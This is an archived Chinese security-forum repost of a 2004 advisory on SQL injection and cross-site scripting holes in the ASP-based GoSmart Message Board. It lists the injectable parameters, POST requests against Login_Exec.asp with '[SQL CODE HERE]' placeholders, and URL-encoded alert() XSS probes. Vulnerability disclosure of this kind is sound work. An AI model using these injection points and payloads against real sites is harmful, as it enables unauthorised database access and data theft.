邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2004-10-14 13:10

[转载]GoSmart Message Board远程SQL注入和跨站脚本漏洞及利用方法

信息来源:nsfocus

受影响系统:

   Go Smart Inc. GoSmart Message Board

描述:GoSmart Message Board是一款基于ASP的论坛程序。

GoSmart Message Board对用户提交的URI数据缺少充分过滤,远程攻击者可以利用这个漏洞获得敏感信息或更改数据库。

问题如下:

1、SQL注入问题,Forum.asp,Login_Exec.asp对用户提交的参数缺少充分过滤,可导致发生SQL注入问题,可能泄露敏感信息或者数据库被更改。

2、Forum.asp,ReplyToQuestion.asp对用户提交的HTML数据缺少正确过滤,构建恶意HTML文件,诱使用户访问,可导致敏感信息泄露。

<*来源:Alexander Antipov ([email]pk95@yandex.ru[/email])
  
  链接:[url]http://marc.theaimsgroup.com/?l=bugtraq&m=109751522823011&w=2[/url]
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Alexander Antipov ([email]pk95@yandex.ru[/email])提供了如下测试方法:

SQL注入问题:

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1

messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1

messageboard/Forum.asp?Category=[SQL CODE HERE]

POST /messageboard/Login_Exec.asp HTTP/1.1
Host: [url]www.gosmart4u.com[/url]
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=[SQL CODE HERE]&Password=1&Login=1


POST /messageboard/Login_Exec.asp HTTP/1.1
Host: [url]www.gosmart4u.com[/url]
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=1&Password=[SQL CODE HERE]&Login=1

跨站脚本问题:

/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E%3C%22

/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E%3C%22

页: [1]
© 1999-2008 EvilOctal Security Team